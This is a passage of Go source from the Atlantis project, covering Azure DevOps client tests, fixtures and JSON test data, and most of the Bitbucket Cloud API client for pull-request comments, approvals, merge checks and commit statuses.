[]string{}) Ok(t, err) Equals(t, c.expMergeable, actMergeable) }) } } func TestAzureDevopsClient_PullIsApproved(t *testing.T) { logger := logging.NewNoopLogger(t) cases := []struct { testName string reviewerUniqueName string reviewerVote int expApproved bool }{ { "approved", "atlantis.reviewer@example.com", azuredevops.VoteApproved, true, }, { "approved with suggestions", "atlantis.reviewer@example.com", azuredevops.VoteApprovedWithSuggestions, true, }, { "no vote", "atlantis.reviewer@example.com", azuredevops.VoteNone, false, }, { "vote waiting for author", "atlantis.reviewer@example.com", azuredevops.VoteWaitingForAuthor, false, }, { "vote rejected", "atlantis.reviewer@example.com", azuredevops.VoteRejected, false, }, { "approved only by author", "atlantis.author@example.com", azuredevops.VoteApproved, false, }, } jsBytes, err := os.ReadFile("testdata/pr.json") Ok(t, err) json := string(jsBytes) for _, c := range cases { t.Run(c.testName, func(t *testing.T) { response := strings.Replace(json, `"vote": 0,`, fmt.Sprintf(`"vote": %d,`, c.reviewerVote), 1) response = strings.Replace(response, "atlantis.reviewer@example.com", c.reviewerUniqueName, 1) testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/owner/project/_apis/git/repositories/repo/pullrequests/1?api-version=5.1-preview.1&includeWorkItemRefs=true": w.Write([]byte(response)) // nolint: errcheck return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := azuredevopsclient.New(testServerURL.Host, "user", "token") Ok(t, err) defer common.DisableSSLVerification()() approvalStatus, err := client.PullIsApproved( logger, models.Repo{ FullName: "owner/project/repo", Owner: "owner", Name: "repo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.AzureDevops, Hostname: "dev.azure.com", }, }, models.PullRequest{ Num: 1, }) Ok(t, err) Equals(t, c.expApproved, approvalStatus.IsApproved) }) } } func TestAzureDevopsClient_GetPullRequest(t *testing.T) { logger := logging.NewNoopLogger(t) // Use a real Azure DevOps json response and edit the mergeable_state field. jsBytes, err := os.ReadFile("testdata/pr.json") Ok(t, err) response := string(jsBytes) t.Run("get pull request", func(t *testing.T) { testServer := httptest.NewTLSServer( http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { switch r.RequestURI { case "/owner/project/_apis/git/repositories/repo/pullrequests/1?api-version=5.1-preview.1&includeWorkItemRefs=true": w.Write([]byte(response)) // nolint: errcheck return default: t.Errorf("got unexpected request at %q", r.RequestURI) http.Error(w, "not found", http.StatusNotFound) return } })) testServerURL, err := url.Parse(testServer.URL) Ok(t, err) client, err := azuredevopsclient.New(testServerURL.Host, "user", "token") Ok(t, err) defer common.DisableSSLVerification()() _, err = client.GetPullRequest( logger, models.Repo{ FullName: "owner/project/repo", Owner: "owner", Name: "repo", CloneURL: "", SanitizedCloneURL: "", VCSHost: models.VCSHost{ Type: models.AzureDevops, Hostname: "dev.azure.com", }, }, 1) Ok(t, err) }) } func TestAzureDevopsClient_MarkdownPullLink(t *testing.T) { client, err := azuredevopsclient.New("hostname", "user", "token") Ok(t, err) pull := models.PullRequest{Num: 1} s, _ := client.MarkdownPullLink(pull) exp := "!1" Equals(t, exp, s) } var adMergeSuccess = `{ "status": "completed", "mergeStatus": "succeeded", "autoCompleteSetBy": { "id": "54d125f7-69f7-4191-904f-c5b96b6261c8", "displayName": "Jamal Hartnett", "uniqueName": "fabrikamfiber4@hotmail.com", "url": "https://vssps.dev.azure.com/fabrikam/_apis/Identities/54d125f7-69f7-4191-904f-c5b96b6261c8", "imageUrl": "https://dev.azure.com/fabrikam/DefaultCollection/_api/_common/identityImage?id=54d125f7-69f7-4191-904f-c5b96b6261c8" }, "pullRequestId": 22, "completionOptions": { "bypassPolicy":false, "bypassReason":"", "deleteSourceBranch":false, "mergeCommitMessage":"TEST MERGE COMMIT MESSAGE", "mergeStrategy":"noFastForward", "squashMerge":false, "transitionWorkItems":true, "triggeredByAutoComplete":false } } ` ================================================ FILE: server/events/vcs/azuredevops/testdata/fixtures.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package testdata import ( "github.com/drmaxgit/go-azuredevops/azuredevops" ) var PullEvent = azuredevops.Event{ EventType: "git.pullrequest.created", Resource: &Pull, } var PullUpdatedEvent = azuredevops.Event{ EventType: "git.pullrequest.updated", Resource: &Pull, } var PullClosedEvent = azuredevops.Event{ EventType: "git.pullrequest.merged", Resource: &PullCompleted, } var Pull = azuredevops.GitPullRequest{ CreatedBy: &azuredevops.IdentityRef{ ID: azuredevops.String("d6245f20-2af8-44f4-9451-8107cb2767db"), DisplayName: azuredevops.String("User"), UniqueName: azuredevops.String("user@example.com"), }, LastMergeSourceCommit: &azuredevops.GitCommitRef{ CommitID: azuredevops.String("b60280bc6e62e2f880f1b63c1e24987664d3bda3"), URL: azuredevops.String("https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3"), }, PullRequestID: azuredevops.Int(1), Repository: &Repo, SourceRefName: azuredevops.String("refs/heads/feature/sourceBranch"), Status: azuredevops.String("active"), TargetRefName: azuredevops.String("refs/heads/targetBranch"), URL: azuredevops.String("https://dev.azure.com/fabrikam/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/21"), } var PullCompleted = azuredevops.GitPullRequest{ CreatedBy: &azuredevops.IdentityRef{ ID: azuredevops.String("d6245f20-2af8-44f4-9451-8107cb2767db"), DisplayName: azuredevops.String("User"), UniqueName: azuredevops.String("user@example.com"), }, LastMergeSourceCommit: &azuredevops.GitCommitRef{ CommitID: azuredevops.String("b60280bc6e62e2f880f1b63c1e24987664d3bda3"), URL: azuredevops.String("https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3"), }, PullRequestID: azuredevops.Int(1), Repository: &Repo, SourceRefName: azuredevops.String("refs/heads/owner/sourceBranch"), Status: azuredevops.String("completed"), TargetRefName: azuredevops.String("refs/heads/targetBranch"), URL: azuredevops.String("https://dev.azure.com/fabrikam/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/21"), } var Repo = azuredevops.GitRepository{ DefaultBranch: azuredevops.String("refs/heads/main"), Name: azuredevops.String("repo"), ParentRepository: &azuredevops.GitRepositoryRef{ Name: azuredevops.String("owner"), }, Project: &azuredevops.TeamProjectReference{ ID: azuredevops.String("a21f5f20-4a12-aaf4-ab12-9a0927cbbb90"), Name: azuredevops.String("project"), State: azuredevops.String("unchanged"), }, WebURL: azuredevops.String("https://dev.azure.com/owner/project/_git/repo"), } var PullJSON = `{ "repository": { "id": "3411ebc1-d5aa-464f-9615-0b527bc66719", "name": "repo", "url": "https://dev.azure.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719", "webUrl": "https://dev.azure.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719", "project": { "id": "a7573007-bbb3-4341-b726-0c4148a07853", "name": "project", "description": "test project created on Halloween 2016", "url": "https://dev.azure.com/owner/_apis/projects/a7573007-bbb3-4341-b726-0c4148a07853", "state": "wellFormed", "revision": 7 }, "remoteUrl": "https://dev.azure.com/owner/project/_git/repo" }, "pullRequestId": 22, "codeReviewId": 22, "status": "active", "createdBy": { "id": "d6245f20-2af8-44f4-9451-8107cb2767db", "displayName": "Normal Paulk", "uniqueName": "fabrikamfiber16@hotmail.com", "url": "https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db", "imageUrl": "https://dev.azure.com/owner/_api/_common/identityImage?id=d6245f20-2af8-44f4-9451-8107cb2767db" }, "creationDate": "2016-11-01T16:30:31.6655471Z", "title": "A new feature", "description": "Adding a new feature", "sourceRefName": "refs/heads/npaulk/my_work", "targetRefName": "refs/heads/new_feature", "mergeStatus": "succeeded", "mergeId": "f5fc8381-3fb2-49fe-8a0d-27dcc2d6ef82", "lastMergeSourceCommit": { "commitId": "b60280bc6e62e2f880f1b63c1e24987664d3bda3", "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3" }, "lastMergeTargetCommit": { "commitId": "f47bbc106853afe3c1b07a81754bce5f4b8dbf62", "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/f47bbc106853afe3c1b07a81754bce5f4b8dbf62" }, "lastMergeCommit": { "commitId": "39f52d24533cc712fc845ed9fd1b6c06b3942588", "author": { "name": "Normal Paulk", "email": "fabrikamfiber16@hotmail.com", "date": "2016-11-01T16:30:32Z" }, "committer": { "name": "Normal Paulk", "email": "fabrikamfiber16@hotmail.com", "date": "2016-11-01T16:30:32Z" }, "comment": "Merge pull request 22 from npaulk/my_work into new_feature", "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/39f52d24533cc712fc845ed9fd1b6c06b3942588" }, "reviewers": [ { "reviewerUrl": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/reviewers/d6245f20-2af8-44f4-9451-8107cb2767db", "vote": 0, "id": "d6245f20-2af8-44f4-9451-8107cb2767db", "displayName": "Normal Paulk", "uniqueName": "fabrikamfiber16@hotmail.com", "url": "https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db", "imageUrl": "https://dev.azure.com/owner/_api/_common/identityImage?id=d6245f20-2af8-44f4-9451-8107cb2767db" } ], "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22", "_links": { "self": { "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22" }, "repository": { "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719" }, "workItems": { "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/workitems" }, "sourceBranch": { "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/refs" }, "targetBranch": { "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/refs" }, "sourceCommit": { "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3" }, "targetCommit": { "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/f47bbc106853afe3c1b07a81754bce5f4b8dbf62" }, "createdBy": { "href": "https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db" }, "iterations": { "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/iterations" } }, "supportsIterations": true, "artifactId": "vstfs:///Git/PullRequestId/a7573007-bbb3-4341-b726-0c4148a07853%2f3411ebc1-d5aa-464f-9615-0b527bc66719%2f22" }` var SelfPullEvent = azuredevops.Event{ EventType: "git.pullrequest.created", Resource: &SelfPull, } var SelfPullUpdatedEvent = azuredevops.Event{ EventType: "git.pullrequest.updated", Resource: &SelfPull, } var SelfPullClosedEvent = azuredevops.Event{ EventType: "git.pullrequest.merged", Resource: &SelfPullCompleted, } var SelfPull = azuredevops.GitPullRequest{ CreatedBy: &azuredevops.IdentityRef{ ID: azuredevops.String("d6245f20-2af8-44f4-9451-8107cb2767db"), DisplayName: azuredevops.String("User"), UniqueName: azuredevops.String("user@example.com"), }, LastMergeSourceCommit: &azuredevops.GitCommitRef{ CommitID: azuredevops.String("b60280bc6e62e2f880f1b63c1e24987664d3bda3"), URL: azuredevops.String("https://devops.abc.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3"), }, PullRequestID: azuredevops.Int(1), Repository: &SelfRepo, SourceRefName: azuredevops.String("refs/heads/feature/sourceBranch"), Status: azuredevops.String("active"), TargetRefName: azuredevops.String("refs/heads/targetBranch"), URL: azuredevops.String("https://devops.abc.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/21"), } var SelfPullCompleted = azuredevops.GitPullRequest{ CreatedBy: &azuredevops.IdentityRef{ ID: azuredevops.String("d6245f20-2af8-44f4-9451-8107cb2767db"), DisplayName: azuredevops.String("User"), UniqueName: azuredevops.String("user@example.com"), }, LastMergeSourceCommit: &azuredevops.GitCommitRef{ CommitID: azuredevops.String("b60280bc6e62e2f880f1b63c1e24987664d3bda3"), URL: azuredevops.String("https://https://devops.abc.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3"), }, PullRequestID: azuredevops.Int(1), Repository: &SelfRepo, SourceRefName: azuredevops.String("refs/heads/owner/sourceBranch"), Status: azuredevops.String("completed"), TargetRefName: azuredevops.String("refs/heads/targetBranch"), URL: azuredevops.String("https://devops.abc.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/21"), } var SelfRepo = azuredevops.GitRepository{ DefaultBranch: azuredevops.String("refs/heads/main"), Name: azuredevops.String("repo"), ParentRepository: &azuredevops.GitRepositoryRef{ Name: azuredevops.String("owner"), }, Project: &azuredevops.TeamProjectReference{ ID: azuredevops.String("a21f5f20-4a12-aaf4-ab12-9a0927cbbb90"), Name: azuredevops.String("project"), State: azuredevops.String("unchanged"), }, WebURL: azuredevops.String("https://devops.abc.com/owner/project/_git/repo"), } var SelfPullJSON = `{ "repository": { "id": "3411ebc1-d5aa-464f-9615-0b527bc66719", "name": "repo", "url": "https://devops.abc.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719", "webUrl": "https://devops.abc.com/owner/project/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719", "project": { "id": "a7573007-bbb3-4341-b726-0c4148a07853", "name": "project", "description": "test project created on Halloween 2016", "url": "https://dev.azure.com/owner/_apis/projects/a7573007-bbb3-4341-b726-0c4148a07853", "state": "wellFormed", "revision": 7 }, "remoteUrl": "https://devops.abc.com/owner/project/_git/repo" }, "pullRequestId": 22, "codeReviewId": 22, "status": "active", "createdBy": { "id": "d6245f20-2af8-44f4-9451-8107cb2767db", "displayName": "Normal Paulk", "uniqueName": "fabrikamfiber16@hotmail.com", "url": "https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db", "imageUrl": "https://dev.azure.com/owner/_api/_common/identityImage?id=d6245f20-2af8-44f4-9451-8107cb2767db" }, "creationDate": "2016-11-01T16:30:31.6655471Z", "title": "A new feature", "description": "Adding a new feature", "sourceRefName": "refs/heads/npaulk/my_work", "targetRefName": "refs/heads/new_feature", "mergeStatus": "succeeded", "mergeId": "f5fc8381-3fb2-49fe-8a0d-27dcc2d6ef82", "lastMergeSourceCommit": { "commitId": "b60280bc6e62e2f880f1b63c1e24987664d3bda3", "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3" }, "lastMergeTargetCommit": { "commitId": "f47bbc106853afe3c1b07a81754bce5f4b8dbf62", "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/f47bbc106853afe3c1b07a81754bce5f4b8dbf62" }, "lastMergeCommit": { "commitId": "39f52d24533cc712fc845ed9fd1b6c06b3942588", "author": { "name": "Normal Paulk", "email": "fabrikamfiber16@hotmail.com", "date": "2016-11-01T16:30:32Z" }, "committer": { "name": "Normal Paulk", "email": "fabrikamfiber16@hotmail.com", "date": "2016-11-01T16:30:32Z" }, "comment": "Merge pull request 22 from npaulk/my_work into new_feature", "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/39f52d24533cc712fc845ed9fd1b6c06b3942588" }, "reviewers": [ { "reviewerUrl": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/reviewers/d6245f20-2af8-44f4-9451-8107cb2767db", "vote": 0, "id": "d6245f20-2af8-44f4-9451-8107cb2767db", "displayName": "Normal Paulk", "uniqueName": "fabrikamfiber16@hotmail.com", "url": "https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db", "imageUrl": "https://dev.azure.com/owner/_api/_common/identityImage?id=d6245f20-2af8-44f4-9451-8107cb2767db" } ], "url": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22", "_links": { "self": { "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22" }, "repository": { "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719" }, "workItems": { "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/workitems" }, "sourceBranch": { "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/refs" }, "targetBranch": { "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/refs" }, "sourceCommit": { "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/b60280bc6e62e2f880f1b63c1e24987664d3bda3" }, "targetCommit": { "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/commits/f47bbc106853afe3c1b07a81754bce5f4b8dbf62" }, "createdBy": { "href": "https://dev.azure.com/owner/_apis/Identities/d6245f20-2af8-44f4-9451-8107cb2767db" }, "iterations": { "href": "https://dev.azure.com/owner/_apis/git/repositories/3411ebc1-d5aa-464f-9615-0b527bc66719/pullRequests/22/iterations" } }, "supportsIterations": true, "artifactId": "vstfs:///Git/PullRequestId/a7573007-bbb3-4341-b726-0c4148a07853%2f3411ebc1-d5aa-464f-9615-0b527bc66719%2f22" }` ================================================ FILE: server/events/vcs/azuredevops/testdata/policyevaluations.json ================================================ { "value": [ { "configuration": { "isDeleted": false, "isEnabled": true, "isBlocking": true, "settings": { "statusGenre": "Atlantis Bot/atlantis", "statusName": "plan" } }, "status": "approved" } ], "count": 1 } ================================================ FILE: server/events/vcs/azuredevops/testdata/pr.json ================================================ { "repository": { "id": "22222222-2222-2222-222222222222", "name": "MyRepository", "project": { "id": "33333333-3333-3333-333333333333", "name": "MyProject", "description": "The place for MyProject" } }, "status": "active", "createdBy": { "displayName": "Atlantis Author", "id": "11111111-1111-1111-111111111111", "uniqueName": "atlantis.author@example.com" }, "mergeStatus": "notSet", "isDraft": false, "autoCompleteSetBy": { "id": "11111111-1111-1111-111111111111", "displayName": "Atlantis Author", "uniqueName": "atlantis.author@example.com" }, "pullRequestId": 22, "completionOptions": { "bypassPolicy": false, "bypassReason": "", "deleteSourceBranch": false, "mergeCommitMessage": "TEST MERGE COMMIT MESSAGE", "mergeStrategy": "noFastForward", "squashMerge": false, "transitionWorkItems": true, "triggeredByAutoComplete": false }, "reviewers": [ { "reviewerUrl": "https://example:8080/tfs/_apis/git/repositories/8010495e-1002-438d-acbf-aaf245dac7c2/pullRequests/22/reviewers/8010495e-1002-438d-acbf-aaf245dac7c2", "vote": 0, "id": "8010495e-1002-438d-acbf-aaf245dac7c2", "displayName": "Atlantis Reviewer", "uniqueName": "atlantis.reviewer@example.com", "url": "https://owner:8080/tfs/_apis/Identities/8010495e-1002-438d-acbf-aaf245dac7c2", "imageUrl": "https://owner:8080/tfs/_api/_common/identityImage?id=8010495e-1002-438d-acbf-aaf245dac7c2" } ] } ================================================ FILE: server/events/vcs/bitbucketcloud/client.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 // Package bitbucketcloud holds code for Bitbucket Cloud aka (bitbucket.org). // It is separate from bitbucketserver because Bitbucket Server has different // APIs. package bitbucketcloud import ( "bytes" "encoding/json" "fmt" "io" "net/http" "strings" "unicode/utf8" validator "github.com/go-playground/validator/v10" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" ) const BaseURL = "https://api.bitbucket.org" type Client struct { httpClient *http.Client username string // Used for git operations apiUser string // Used for API calls (Basic Auth) password string BaseURL string atlantisURL string } // NewClient builds a bitbucket cloud client. atlantisURL is the // URL for Atlantis that will be linked to from the build status icons. This // linking is annoying because we don't have anywhere good to link but a URL is // required. // username is used for git operations, apiUser is used for API authentication (Basic Auth). // If apiUser is empty, it will default to username for backward compatibility. func New(httpClient *http.Client, username string, password string, apiUser string, atlantisURL string) *Client { if httpClient == nil { httpClient = http.DefaultClient } // Use apiUser for API calls if provided, otherwise fall back to username for backward compatibility if apiUser == "" { apiUser = username } return &Client{ httpClient: httpClient, username: username, apiUser: apiUser, password: password, BaseURL: BaseURL, atlantisURL: atlantisURL, } } var MY_UUID = "" // GetModifiedFiles returns the names of files that were modified in the merge request // relative to the repo root, e.g. parent/child/file.txt. func (b *Client) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { var files []string nextPageURL := fmt.Sprintf("%s/2.0/repositories/%s/pullrequests/%d/diffstat", b.BaseURL, repo.FullName, pull.Num) // We'll only loop 1000 times as a safety measure. maxLoops := 1000 for range maxLoops { resp, err := b.makeRequest("GET", nextPageURL, nil) if err != nil { return nil, err } var diffStat DiffStat if err := json.Unmarshal(resp, &diffStat); err != nil { return nil, fmt.Errorf("parsing response %q: %w", string(resp), err) } if err := validator.New().Struct(diffStat); err != nil { return nil, fmt.Errorf("response %q was missing fields: %w", string(resp), err) } for _, v := range diffStat.Values { if v.Old != nil { files = append(files, *v.Old.Path) } if v.New != nil { files = append(files, *v.New.Path) } } if diffStat.Next == nil || *diffStat.Next == "" { break } nextPageURL = *diffStat.Next } // Now ensure all files are unique. hash := make(map[string]bool) var unique []string for _, f := range files { if !hash[f] { unique = append(unique, f) hash[f] = true } } return unique, nil } // CreateComment creates a comment on the merge request. func (b *Client) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, _ string) error { // NOTE: I tried to find the maximum size of a comment for bitbucket.org but // I got up to 200k chars without issue so for now I'm not going to bother // to detect this. bodyBytes, err := json.Marshal(map[string]map[string]string{"content": { "raw": comment, }}) if err != nil { return fmt.Errorf("json encoding: %w", err) } path := fmt.Sprintf("%s/2.0/repositories/%s/pullrequests/%d/comments", b.BaseURL, repo.FullName, pullNum) _, err = b.makeRequest("POST", path, bytes.NewBuffer(bodyBytes)) return err } // UpdateComment updates the body of a comment on the merge request. func (b *Client) ReactToComment(_ logging.SimpleLogging, _ models.Repo, _ int, _ int64, _ string) error { // TODO: Bitbucket support for reactions return nil } func (b *Client) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, _ string) error { // there is no way to hide comment, so delete them instead me, err := b.GetMyUUID() if err != nil { return fmt.Errorf("getting my uuid, check required scope of the auth token: %w", err) } logger.Debug("My bitbucket user UUID is: %s", me) comments, err := b.GetPullRequestComments(repo, pullNum) if err != nil { return err } for _, c := range comments { logger.Debug("Comment is %v", c.Content.Raw) if strings.EqualFold(*c.User.UUID, me) { // do the same crude filtering as github client does body := strings.Split(c.Content.Raw, "\n") logger.Debug("Body is %s", body) if len(body) == 0 { continue } firstLine := strings.ToLower(body[0]) if strings.Contains(firstLine, strings.ToLower(command)) { // we found our old comment that references that command logger.Debug("Deleting comment with id %s", *c.ID) err = b.DeletePullRequestComment(repo, pullNum, *c.ID) if err != nil { return err } } } } return nil } func (b *Client) DeletePullRequestComment(repo models.Repo, pullNum int, commentId int) error { path := fmt.Sprintf("%s/2.0/repositories/%s/pullrequests/%d/comments/%d", b.BaseURL, repo.FullName, pullNum, commentId) _, err := b.makeRequest("DELETE", path, nil) if err != nil { return err } return nil } func (b *Client) GetPullRequestComments(repo models.Repo, pullNum int) (comments []PullRequestComment, err error) { path := fmt.Sprintf("%s/2.0/repositories/%s/pullrequests/%d/comments", b.BaseURL, repo.FullName, pullNum) res, err := b.makeRequest("GET", path, nil) if err != nil { return comments, err } var pulls PullRequestComments if err := json.Unmarshal(res, &pulls); err != nil { return comments, fmt.Errorf("parsing response %q: %w", string(res), err) } return pulls.Values, nil } func (b *Client) GetMyUUID() (uuid string, err error) { if MY_UUID == "" { path := fmt.Sprintf("%s/2.0/user", b.BaseURL) resp, err := b.makeRequest("GET", path, nil) if err != nil { return uuid, err } var user User if err := json.Unmarshal(resp, &user); err != nil { return uuid, fmt.Errorf("parsing response %q: %w", string(resp), err) } if err := validator.New().Struct(user); err != nil { return uuid, fmt.Errorf("response %q was missing a field: %w", string(resp), err) } uuid = *user.UUID MY_UUID = uuid return uuid, nil } else { return MY_UUID, nil } } // PullIsApproved returns true if the merge request was approved. func (b *Client) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (approvalStatus models.ApprovalStatus, err error) { path := fmt.Sprintf("%s/2.0/repositories/%s/pullrequests/%d", b.BaseURL, repo.FullName, pull.Num) resp, err := b.makeRequest("GET", path, nil) if err != nil { return approvalStatus, err } var pullResp PullRequest if err := json.Unmarshal(resp, &pullResp); err != nil { return approvalStatus, fmt.Errorf("parsing response %q: %w", string(resp), err) } if err := validator.New().Struct(pullResp); err != nil { return approvalStatus, fmt.Errorf("response %q was missing fields: %w", string(resp), err) } authorUUID := *pullResp.Author.UUID for _, participant := range pullResp.Participants { // Bitbucket allows the author to approve their own pull request. This // defeats the purpose of approvals so we don't count that approval. if *participant.Approved && *participant.User.UUID != authorUUID { return models.ApprovalStatus{ IsApproved: true, }, nil } } return approvalStatus, nil } // PullIsMergeable returns true if the merge request has no conflicts and can be merged. func (b *Client) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, _ string, _ []string) (models.MergeableStatus, error) { nextPageURL := fmt.Sprintf("%s/2.0/repositories/%s/pullrequests/%d/diffstat", b.BaseURL, repo.FullName, pull.Num) // We'll only loop 1000 times as a safety measure. maxLoops := 1000 for range maxLoops { resp, err := b.makeRequest("GET", nextPageURL, nil) if err != nil { return models.MergeableStatus{}, err } var diffStat DiffStat if err := json.Unmarshal(resp, &diffStat); err != nil { return models.MergeableStatus{}, fmt.Errorf("parsing response %q: %w", string(resp), err) } if err := validator.New().Struct(diffStat); err != nil { return models.MergeableStatus{}, fmt.Errorf("response %q was missing fields: %w", string(resp), err) } for _, v := range diffStat.Values { // These values are undocumented, found via manual testing. if *v.Status == "merge conflict" || *v.Status == "local deleted" { return models.MergeableStatus{ IsMergeable: false, }, nil } } if diffStat.Next == nil || *diffStat.Next == "" { break } nextPageURL = *diffStat.Next } return models.MergeableStatus{ IsMergeable: true, }, nil } // UpdateStatus updates the status of a commit. func (b *Client) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, src string, description string, url string) error { bbState := "FAILED" switch status { case models.PendingCommitStatus: bbState = "INPROGRESS" case models.SuccessCommitStatus: bbState = "SUCCESSFUL" case models.FailedCommitStatus: bbState = "FAILED" } logger.Info("Updating BitBucket commit status for '%s' to '%s'", src, bbState) // URL is a required field for bitbucket statuses. We default to the // Atlantis server's URL. if url == "" { url = b.atlantisURL } // Ensure key has at most 40 characters if utf8.RuneCountInString(src) > 40 { src = fmt.Sprintf("%.37s...", src) } bodyBytes, err := json.Marshal(map[string]string{ "key": src, "url": url, "state": bbState, "description": description, }) path := fmt.Sprintf("%s/2.0/repositories/%s/commit/%s/statuses/build", b.BaseURL, repo.FullName, pull.HeadCommit) if err != nil { return fmt.Errorf("json encoding: %w", err) } _, err = b.makeRequest("POST", path, bytes.NewBuffer(bodyBytes)) return err } // MergePull merges the pull request. func (b *Client) MergePull(logger logging.SimpleLogging, pull models.PullRequest, _ models.PullRequestOptions) error { path := fmt.Sprintf("%s/2.0/repositories/%s/pullrequests/%d/merge", b.BaseURL, pull.BaseRepo.FullName, pull.Num) _, err := b.makeRequest("POST", path, nil) return err } // MarkdownPullLink specifies the character used in a pull request comment. func (b *Client) MarkdownPullLink(pull models.PullRequest) (string, error) { return fmt.Sprintf("#%d", pull.Num), nil } // prepRequest adds auth and necessary headers. func (b *Client) prepRequest(method string, path string, body io.Reader) (*http.Request, error) { req, err := http.NewRequest(method, path, body) if err != nil { return nil, err } // Use ApiUser for API authentication, Username is for git operations req.SetBasicAuth(b.apiUser, b.password) if body != nil { req.Header.Add("Content-Type", "application/json") } // Add this header to disable CSRF checks. // See https://confluence.atlassian.com/cloudkb/xsrf-check-failed-when-calling-cloud-apis-826874382.html req.Header.Add("X-Atlassian-Token", "no-check") return req, nil } func (b *Client) DiscardReviews(_ logging.SimpleLogging, _ 